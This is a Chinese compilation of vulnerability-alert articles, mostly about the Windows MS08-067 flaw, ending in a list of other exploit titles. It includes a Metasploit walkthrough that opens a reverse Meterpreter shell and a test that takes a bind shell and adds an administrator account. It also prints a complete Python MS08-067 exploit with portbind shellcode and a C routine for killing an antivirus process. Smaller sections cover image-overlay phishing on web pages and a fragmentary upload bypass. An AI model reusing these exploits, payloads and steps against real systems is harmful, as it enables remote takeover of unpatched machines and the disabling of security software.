关于MS08067的一点细节漏洞预警

| 收藏本文 下载本文 作者:shanewong

以下是小编整理的关于MS08067的一点细节漏洞预警(共含8篇),欢迎阅读分享。同时,但愿您也能像本文投稿人“shanewong”一样,积极向本站投稿分享好文章。

关于MS08067的一点细节漏洞预警

篇1:关于MS08067的一点细节漏洞预警

作者:刺

这个漏洞就不介绍了,已经沸沸扬扬了,

首先milw0rm上那个exp的编译问题,作者在里面放的些小trick很容易fix,主要麻烦的是midl编译idl文件后,在VC6环境下编译可能出现rcpt库的错误。可能是SDK的版本导致的,云舒用最新的SDK(好像是?)编译成功了。

其次是触发问题,什么权限都不需要,空连接后就能触发。

ncacn_np:\\\\192.168.152.101[\\pipe\\srvsvc] 直接请求就可以了。

问题还是出在 NetpwPathCanonicalize 的第二个参数,这个漏洞非常奇特。

首先这个参数的长度不能超过 0x207(unicode)

71BB58F6   81FF 0700  CMP EDI,207

71BB58FC ^ 0F87 F447FFFF  JA NETAPI32.71BAA0F6  // 如果大于了就直接函数返回了

71BB5902 ^ E9 1247FFFF    JMP NETAPI32.71BAA019

然后会走到一个wcscat的地方,这里没有问题,因为空间是足够的

71BAA019   8D85 E8FBFFFF  LEA EAX,DWORD PTR SS:[EBP-418]

71BAA01F   53             PUSH EBX

71BAA020   50             PUSH EAX

71BAA021   FF15 9810BA71  CALL DWORD PTR DS:[<&msvcrt.wcscat>]    ; msvcrt.wcscat

继续往下会把所有的 “/” 替换为 “\” 这里也无关紧要

然后就走到出问题的函数

71BAA05A   8D85 E8FBFFFF  LEA EAX,DWORD PTR SS:[EBP-418]

71BAA060   50             PUSH EAX

71BAA061   E8 AB020000CALL NETAPI32.71BAA311

跟进去后很复杂,可以参考下这里的伪代码

www.phreedom.org/blog/2008/decompiling-ms08-067/

估计很多人在这里绕晕了,我跟了一晚上,总算搞明白了一点。

首先是为什么老是会上溢的问题,这个就是这个漏洞的原因所在了。cocoruder在blog上引用了这么一段话:

There are two copies, the first copy is OK, but when there is another “..\”, it will lead to start the another copy (repeat the first copy codes), the second copy firstly does not calculate the base pointer correctly (firstly it is basePointer-2, so the 'JZ' checking in the loop of searching character '\' will never come ture), that lead to get an unexpected stack pointer which is below the base pointer, after the wrong calculation, it starts the second copy and uses the unexpected pointer as the first parameter of function “wcscpy()”, therefore, the wrong-calculation memory will be rewritten. The EIP will be controlled in the main function, probably.

实际上就是在找目录的时候,

\x\..\yyyyyyyyyyyyy

会拷贝为 \yyyyyyyyyyyy  中间的 \x\.. 就没有了。

然后程序会往栈的上面去找 “\” 的存在,但是往往栈低址里没有 “\”的存在,所以就找完了整个栈,上溢了。

很多同学估计都卡在这个地方了。

bp 0x71baa398 first copy 第一次拷贝,这里没问题

71BCDC12   8D46 04        LEA EAX,DWORD PTR DS:[ESI+4]

71BCDC15   8BCE           MOV ECX,ESI

71BCDC17   50             PUSH EAX

71BCDC18   51             PUSH ECX

71BCDC19   FF15 2C10BA71  CALL DWORD PTR DS:[<&msvcrt.wcscpy>]    ; msvcrt.wcscpy

此时 si = 0x2e 然后前后判断是否是 \..\

71BAA363   8D46 FE        LEA EAX,DWORD PTR DS:[ESI-2]

71BAA366   3BD8           CMP EBX,EAX

71BAA368   0F85 50380200  JNZ NETAPI32.71BCDBBE

71BAA36E   8D46 02        LEA EAX,DWORD PTR DS:[ESI+2]

71BAA371   66:8B10        MOV DX,WORD PTR DS:[EAX]

71BAA374   66:83FA 2E     CMP DX,2E

71BAA378   0F85 8A380200  JNZ NETAPI32.71BCDC08

71BAA37E   8D46 04        LEA EAX,DWORD PTR DS:[ESI+4]

71BAA381   66:8B18        MOV BX,WORD PTR DS:[EAX]

71BAA384   66:83FB 5C     CMP BX,5C

second copy 第二个拷贝,把中间的 \x\.. 弄没了

71BAA388  /0F85 3D380200  JNZ NETAPI32.71BCDBCB

71BAA38E  |85FF           TEST EDI,EDI

71BAA390  |0F84 0B630000  JE NETAPI32.71BB06A1

71BAA396  |50             PUSH EAX

71BAA397  |57             PUSH EDI

71BAA398  |FF15 2C10BA71  CALL DWORD PTR DS:[<&msvcrt.wcscpy>]    ; msvcrt.wcscpy

漏洞代码就是下面这个:

71BCDBDE   8D47 FELEA EAX,DWORD PTR DS:[EDI-2]

71BCDBE1   66:8338 5CCMP WORD PTR DS:[EAX],5C

71BCDBE5  /75 18          JNZ SHORT NETAPI32.71BCDBFF

71BCDBE7  |66:8B38        MOV DI,WORD PTR DS:[EAX]

71BCDBEA  |8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]

71BCDBED  |66:83EF 5C     SUB DI,5C

71BCDBF1  |66:F7DF        NEG DI

71BCDBF4  |1BFF           SBB EDI,EDI

71BCDBF6  |F7D7           NOT EDI

71BCDBF8  |23F8           AND EDI,EAX

71BCDBFA ^|E9 55C7FDFF    JMP NETAPI32.71BAA354

71BCDBFF  \3B45 08        CMP EAX,DWORD PTR SS:[EBP+8]

71BCDC02 ^ 74 E3          JE SHORT NETAPI32.71BCDBE7

71BCDC04   48DEC EAX

71BCDC05   48DEC EAX

71BCDC06 ^ EB D9          JMP SHORT NETAPI32.71BCDBE1

试图往栈低址去寻找“\”,结果错误计算了开始的地址,导致根本找不到,

按照cocoruder的说法,在计算错误后,有机会第二次执行第二个 wcscpy ,从而覆盖那个错误计算出的地址。

不过我没找到能再次执行拷贝的方法,我的整个栈低址几乎就是一片0,每次都上溢了.

有的机器里也许能够找到那个“”吧,或者存在一种能够稳定利用的方法。

使用 \\pipe\browser 好像也有机会控制EIP,可以继续搞搞。

瞎扯到这里,不说了,大家再一起继续郁闷吧。

篇2:MS08067漏洞漏洞预警

这个漏洞已经暴露了很久了,这里我就不说原理了我也不会,所以直接用metasploit操作一下,大牛请绕过

root@bt:~# genlist -s 10.10.10.*

10.10.10.1

10.10.10.2

10.10.10.128

10.10.10.130

10.10.10.254

root@bt:~# nmap -sS -Pn 10.10.10.128

Starting Nmap 6.01 ( nmap.org ) at -04-23 01:49 EDT

Nmap scan report for attacker.dvssc.com (10.10.10.128)

Host is up (0.0000060s latency).

All 1000 scanned ports on attacker.dvssc.com (10.10.10.128) are closed

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

root@bt:~# nmap -sS -Pn 10.10.10.130

Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT

Nmap scan report for service.dvssc.com (10.10.10.130)

Host is up (0.011s latency).

Not shown: 985 closed ports

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

777/tcp open multiling-http

1025/tcp open NFS-or-IIS

1026/tcp open LSA-or-nterm

1027/tcp open IIS

1030/tcp open iad1

1521/tcp open oracle

6002/tcp open X11:2

7001/tcp open afs3-callback

7002/tcp open afs3-prserver

8099/tcp open unknown

MAC Address: 00:0C:29:D3:08:A0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

root@bt:~#

root@bt:~# nmap --script=smb-check-vulns 10.10.10.130

Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT

Nmap scan report for service.dvssc.com (10.10.10.130)

Host is up (0.00032s latency).

Not shown: 985 closed ports

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

777/tcp open multiling-http

1025/tcp open NFS-or-IIS

1026/tcp open LSA-or-nterm

1027/tcp open IIS

1030/tcp open iad1

1521/tcp open oracle

6002/tcp open X11:2

7001/tcp open afs3-callback

7002/tcp open afs3-prserver

8099/tcp open unknown

MAC Address: 00:0C:29:D3:08:A0 (VMware)

Host script. results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)

| SMBv2 DoS (CVE--3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

| MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)

|_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

root@bt:~# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...

the matrix has you

follow the white rabbit.

knock, knock, Neo.

(`. ,-,

` `. ,;' /

`. ,'/ .'

`. X /.'

.-;--''--.._` ` (

.' / `

, ` ' Q '

, , `._ \

,.| ' `-.;_'

: . ` ; ` ` --,.._;

' ` , ) .'

`._ , ' /_

; ,''-,;' ``-

``-..__``--`

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 927 exploits - 499 auxiliary - 151 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

msf >search ms08_067

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption

msf >use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

-- ----

0 Automatic Targeting

msf exploit(ms08_067_netapi) >set RHOST 10.10.10.130

RHOST =>10.10.10.130

msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD =>windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) >show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 10.10.10.130 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique: seh, thread, process, none

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic Targeting

msf exploit(ms08_067_netapi) >set LHOST 10.10.10.128

LHOST =>10.10.10.128

msf exploit(ms08_067_netapi) >exploit

[*] Started reverse handler on 10.10.10.128:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows - No Service Pack - lang:Unknown

[*] Selected Target: Windows 2003 SP0 Universal

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 10.10.10.130

[*] Meterpreter session 1 opened (10.10.10.128:4444 ->10.10.10.130:3722) at 2014-04-23 01:53:59 -0400

篇3:MS08067漏洞的触发条件

通常在溢出成功后目标主机的监听端口为4444,其对应的PID为840(随机),毫无疑问它应该和某个系统服务相对应,输入tasklist /svc后发现其对于的进程是svchost.exe。该进程在系统中有多个,但PID为840的这个svchost.exe进程是一个宿主进程,其中包含了诸如lanmanserver, lanmanworkstation, Netman等多个系统服务。

那到底是哪个系统服务触发了该漏洞呢?测试,当Computer Browser、Server、Workstation这三个系统服务中的任何一个服务被关闭后,用MS08067.exe进行溢出测试均失败

通过上面的测试,可见是这三个系统服务造成了MS08-067漏洞,这和微软的漏洞说明“Server服务在处理RPC请求过程中存在的一个严重漏洞”不谋而合,

那么这三个服务都是干什么的,相互之间有什么关系呢?server是Windows系统的一个重要服务,其主要作用是“支持此计算机通过网络的文件、打印、和命名”。而

Computer Browser服务的作用是“维护网络上计算机的更新列表,并将列表提供该计算机指定浏览”与server是依存关系。另外,Workstation服务的作用是“创建和维护到远程服务的客户端网络连接”,与Computer Browser是依存关系。上面的分析为我们预防MS08-067漏洞提供了一条思路。

漏洞预防

(1)、最彻底的措施是,通过第三方工具下载KB958644补丁包打上该漏洞补丁。

(2)、如果用户对微软的补丁存有戒心可以采取变通的措施,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。

篇4: XSIO漏洞漏洞预警

文章作者:aullik5

原始出处:hi.baidu.com/aullik5/blog ... a02c6785352416.html

今天要讲的这个漏洞是一个非常猥琐的漏洞,

XSIO漏洞漏洞预警

大部分网站都有这个漏洞,不光是百度。

什么是XSIO,为什么说它猥琐呢?

XSIO是因为没有限制图片的position属性为absolute,导致可以控制一张图片出现在网页的任意位置。

那么我们就可以用这张图片去覆盖网页上的任意一个位置,包括网站的banner,包括一个link、一个button。

这就可以导致页面破坏。而给图片设置一个链接后,很显然就可以起到一个钓鱼的作用。

XSIO漏洞:

由于对正常的HTML 标签 是没有做过滤的,所以我们可以用这些标签来实施XSIO攻击,

在百度,发blog是在一个table里,所以我们要先把table闭合掉,然后再插入合适的图片。

如以下代码:

复制内容到剪贴板

代码:

通过控制 left 和 top的值,我们就可以把这张图片覆盖到网页上的任意位置,而link 则是指向了 www.ph4nt0m.org

百度.jpg(40.08 KB)

-10-21 20:50

如图:匿名用户的头像被我覆盖到了banner处.

在实施具体攻击时,可以用图片覆盖link或者banner,当别人点击原本是link或button时,将跳到我们的恶意网站去。

所以说,这是一个非常猥琐的漏洞!

欲知后事如何,且听下回分解!

PS: 本次活动仅仅是个人行为,与任何组织或集体无关.

从明天开始,将进入我们的XSS之旅。

篇5:DeepSoft.com.sys.Servlet上传漏洞漏洞预警

作者:hackdn

注明

JSP+MSSQL的系统,国外应用广,出在注册上传上,过滤不严,修改下面POST,上传JSP

要上载的照片:

DeepSoft.com.sys.Servlet上传漏洞漏洞预警

文件大小没有限制,只是“*.ai,*.psd”文件可能上传后无法显示而已。“>

篇6:微软MS08067远程控制漏洞测试

最近,微软爆出一个安全级别为严重高危漏洞MS08-067,据微软官方解释这是Windows操作系统下的Server服务在处理RPC请求过程中存在的一个严重漏洞,远程攻击者可以通过发送恶意RPC请求触发这个溢出,导致完全入侵用户系统,并以SYSTEM权限执行任意指令并获取数据,造成系统失窃及系统崩溃等严重问题。

并且MS08-067漏洞的影响覆盖面很广,会影响除Windows Server  Core以外所有Windows系统,包括Windows /XP/Server /Vista/Server 2008的各个版本,对于此漏洞微软的反应是比较迅速的。但是,由于受微软黑屏事件的影响,不少用户对微软的补丁更新存有戒心。有不少用户关闭了Windows的自动更新功能,当然更不会手动去打该补丁。其实用户没必要因噎废食,此补丁非造成盗版用户黑屏的KB892130,其安全补丁编号是KB958644。大家如果对自动更新不放心可以通过第三方工具,下载补丁包打上该补丁,因为该漏洞确实危害非常大。

可以说, 的反应速度是非常快的,笔者今天在国外某安全站点看到了该漏洞的利用代码(Exploits),然后进行编译对该漏洞进行了一次测试。为了让大家对Ms08-067漏洞的危害及其严重程度有个感性的认识,下面笔者将这次测试的详细过程重现一遍。

1、测试环境

攻击主机:Windows XP SP2(OS) 192.168.1.6(IP)

目标主机:Windows Server 2003(OS) 192.168.1.9(IP)

2、漏洞测试

打开攻击主机的命令行工具(cmd.exe),进入漏洞利用工具(MS08067.exe)的目录。其命令格式非常简单MS08067.exe ,只需将替换为目标主机的IP地址即可。测试环境中的目标主机Windows Server 2003(OS) 192.168.1.9(IP)没有打补丁KB958644。我们输入命令MS08067.exe 192.168.1.9,回车后显示SMB Connect OK!Maybe Patched!,表明溢出成功。

我们打开目标主机的命令行工具,输入命令netstat -ano可以看到有一个端口号为4444的端口处于监听状态。

然后我们在攻击主机的命令行下输入命令telnet 192.168.1.9 4444进行连接,可以看到连接成功。这样我们就获得了目标主机的一个shell,并且是system权限,

输入命令,比如net user gslw test /add net localgroup administrators gslw /add,添加一个用户名为gslw的用户,可以看到创建成功。

这样目标主机就被完全控制了,试想如果其是服务器的话(Winsows Server 2003是非常普遍的服务器系统),那危害该有多大!

3、扩展测试

笔者在测试中发现,在溢出成功后目标主机的监听端口为4444,其对应的PID为840(随机)。毫无疑问它应该和某个系统服务相对应,输入tasklist /svc后发现其对于的进程是svchost.exe。该进程在系统中有多个,但PID为840的这个svchost.exe进程是一个宿主进程,其中包含了诸如lanmanserver, lanmanworkstation, Netman等多个系统服务。

那到底是哪个系统服务触发了该漏洞呢?通过笔者测试,当Computer Browser、Server、Workstation这三个系统服务中的任何一个服务被关闭后,用MS08067.exe进行溢出测试均失败。

通过上面的测试,可见是这三个系统服务造成了MS08-067漏洞,这和微软的漏洞说明Server服务在处理RPC请求过程中存在的一个严重漏洞不谋而合。那么这三个服务都是干什么的,相互之间有什么关系呢?server是Windows系统的一个重要服务,其主要作用是支持此计算机通过网络的文件、打印、和命名。而

Computer Browser服务的作用是维护网络上计算机的更新列表,并将列表提供该计算机指定浏览与server是依存关系。另外,Workstation服务的作用是创建和维护到远程服务的客户端网络连接,与Computer Browser是依存关系。上面的分析为我们预防MS08-067漏洞提供了一条思路。

4、漏洞预防

(1)、最彻底的措施是,通过第三方工具下载KB958644补丁包打上该漏洞补丁。

(2)、如果用户对微软的补丁存有戒心可以采取变通的措施,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。

总结:微软的黑屏事件让不少用户成了惊弓之鸟,对微软失去了信任,宁可系统漏洞百出也不去打补丁。这是相当危险的,黑屏事件后的安全真空和隐患值得我们深思。其实,说到底黑屏只不过是被微软摸黑了桌面,至多让人反感也无关痛痒。但是,被攻击者利用漏洞进行攻击那就不仅仅是反感了。希望,通过本文大家能够认识的漏洞的危害,尽快补上漏洞。

篇7:MS Windows Server Service Code Execution Exploit (MS08067) (2k/2k3)漏洞预警

#!/usr/bin/env python

###########################################################

#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)

#   www.hackingspirits.com

#   www.coffeeandsecurity.com

#   Email: d3basis.m0hanty @ gmail.com

###########################################################

import struct

import sys

from threading import Thread    #Thread is imported incase you would like to modify

#the src to run against multiple targets.

try:

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc

from impacket.dcerpc import transport

except ImportError, _:

print 'Install the following library to make this script work'

print 'Impacket : oss.coresecurity.com/projects/impacket.html'

print 'PyCrypto : www.amk.ca/python/code/crypto.html'

sys.exit(1)

print '#######################################################################'

print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'

print '#   www.hackingspirits.com'

print '#   www.coffeeandsecurity.com'

print '#   Email: d3basis.m0hanty @ gmail.com'

print '#######################################################################\n'

#Portbind shellcode from metasploit; Binds port to TCP port 4444

shellcode  = ”\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90“

shellcode += ”\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9“

shellcode += ”\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56“

shellcode += ”\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22“

shellcode += ”\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30“

shellcode += ”\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81“

shellcode += ”\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42“

shellcode += ”\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22“

shellcode += ”\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9“

shellcode += ”\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79“

shellcode += ”\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab“

shellcode += ”\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa“

shellcode += ”\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48“

shellcode += ”\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1“

shellcode += ”\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0“

shellcode += ”\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe“

shellcode += ”\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9“

shellcode += ”\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84“

shellcode += ”\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56“

shellcode += ”\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8“

shellcode += ”\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79“

shellcode += ”\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6“

shellcode += ”\xba\xb5\x60\x56\x39\x4a\xb6\xa9"

#Payload for Windows 2000 target

payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'

payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'

payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'

payload_1+='\x41\x41'

payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'

payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'

payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'

payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'

payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'

payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'

payload_1+='\xeb\xcc'

payload_1+='\x00\x00'

#Payload for Windows 2003[SP2] target

payload_2='\x41\x00\x5c\x00'

payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'

payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'

payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'

payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'

payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'

payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'

payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'

payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'

payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'

payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'

payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'

if sys.argv[2]=='1':    #Windows 2000 Payload

payload=payload_1

print '[-]Windows 2000 payload loaded'

if sys.argv[2]=='2':    #Windows 2003[SP2] Payload

payload=payload_2

print '[-]Windows 2003[SP2] payload loaded'

class SRVSVC_Exploit(Thread):

def __init__(self, target, osver, port=445):

super(SRVSVC_Exploit, self).__init__

self.__port   = port

self.target   = target

self.osver   = osver

def __DCEPacket(self):

print '[-]Initiating connection'

self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)

self.__trans.connect()

print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target

self.__dce = self.__trans.DCERPC_class(self.__trans)

self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

# Constructing Malicious Packet

self.__stub='\x01\x00\x00\x00'

self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'

self.__stub+=shellcode

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'

self.__stub+='\x00\x00\x00\x00'

self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'

self.__stub+=payload

self.__stub+='\x00\x00\x00\x00'

self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'

self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'

self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'

self.__stub+='\x01\x00\x00\x00'

return

def run(self):

self.__DCEPacket()

self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation

print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'

if __name__ == '__main__':

try:

target = sys.argv[1]

osver = sys.argv[2]

except IndexError:

print '\nUsage: %s  \n' % sys.argv[0]

print 'Example: srvsvcexpl.py 192.168.1.1 2\n'

print 'Select OS Version'

print '[-]Windows 2000: OS Version = 1'

print '[-]Windows 2003[SP2]: OS Version = 2'

sys.exit(-1)

current = SRVSVC_Exploit(target, osver)

current.start()

#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'

# milw0rm.com [2008-11-16]

篇8:瑞星0day漏洞漏洞预警

编写成程序后双击运行直接K掉瑞星(重起也没用)

以下是漏洞利用代码

------------------------------------------------------------------------------

DWORD GetProcessIdFromName(LPCTSTR name)

{

PROCESSENTRY32 pe;

DWORD id = 0;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize = sizeof(PROCESSENTRY32);

if( !Process32First(hSnapshot,&pe) )

return 0;

do

{

pe.dwSize = sizeof(PROCESSENTRY32);

if( Process32Next(hSnapshot,&pe)==FALSE )

break;

if(strcmp(pe.szExeFile,name) == 0)

{

id = pe.th32ProcessID;

break;

}

} while(1);

CloseHandle(hSnapshot);

return id;

}

DWORD GetProcessID(char *FileName)

{

HANDLE myhProcess;

PROCESSENTRY32 mype;

BOOL mybRet;

//进行进程快照

myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //TH32CS_SNAPPROCESS快照所有进程

//开始进程查找

mybRet=Process32First(myhProcess,&mype);

//循环比较,得出ProcessID

while(mybRet)

{

if(strcmp(FileName,mype.szExeFile)==0)

return mype.th32ProcessID;

else

mybRet=Process32Next(myhProcess,&mype);

}

return 0;

}

void killProcess(CString www ,LPCTSTR name,char *xyz)

{

DWORD    nPid = 0;

HANDLE     hProcess;

DWORD    nExitCode = 0;

DWORD    nAddress = 0x1000;

nPid=GetProcessIdFromName(name);

hProcess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, 0,nPid);

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);

while ( nAddress <= 0x7FFFF000 )

{

GetExitCodeProcess(hProcess, &nExitCode);

if (nExitCode != STILL_ACTIVE)

{

break;

}

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);

VirtualFreeEx(hProcess, (LPVOID)nAddress, 0, 0x8000);

nAddress += 0x1000;

}

FCKeditor漏洞利用总结漏洞预警

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

dedecms 5.7 edit.inc.php文件注射漏洞预警

shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警

Thaiweb远程文件sql注入漏洞0day漏洞预警

火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警

eWebeditoR3.8 for php任意文件上传EXP漏洞预警

dhtmlmenubuilder密码及XSS跨站漏洞漏洞预警

网上商城EDSC V2.1 任意文件上传漏洞漏洞预警

关于凌波多媒体教学网如何突破漏洞预警

关于MS08067的一点细节漏洞预警(锦集8篇)

欢迎下载DOC格式的关于MS08067的一点细节漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档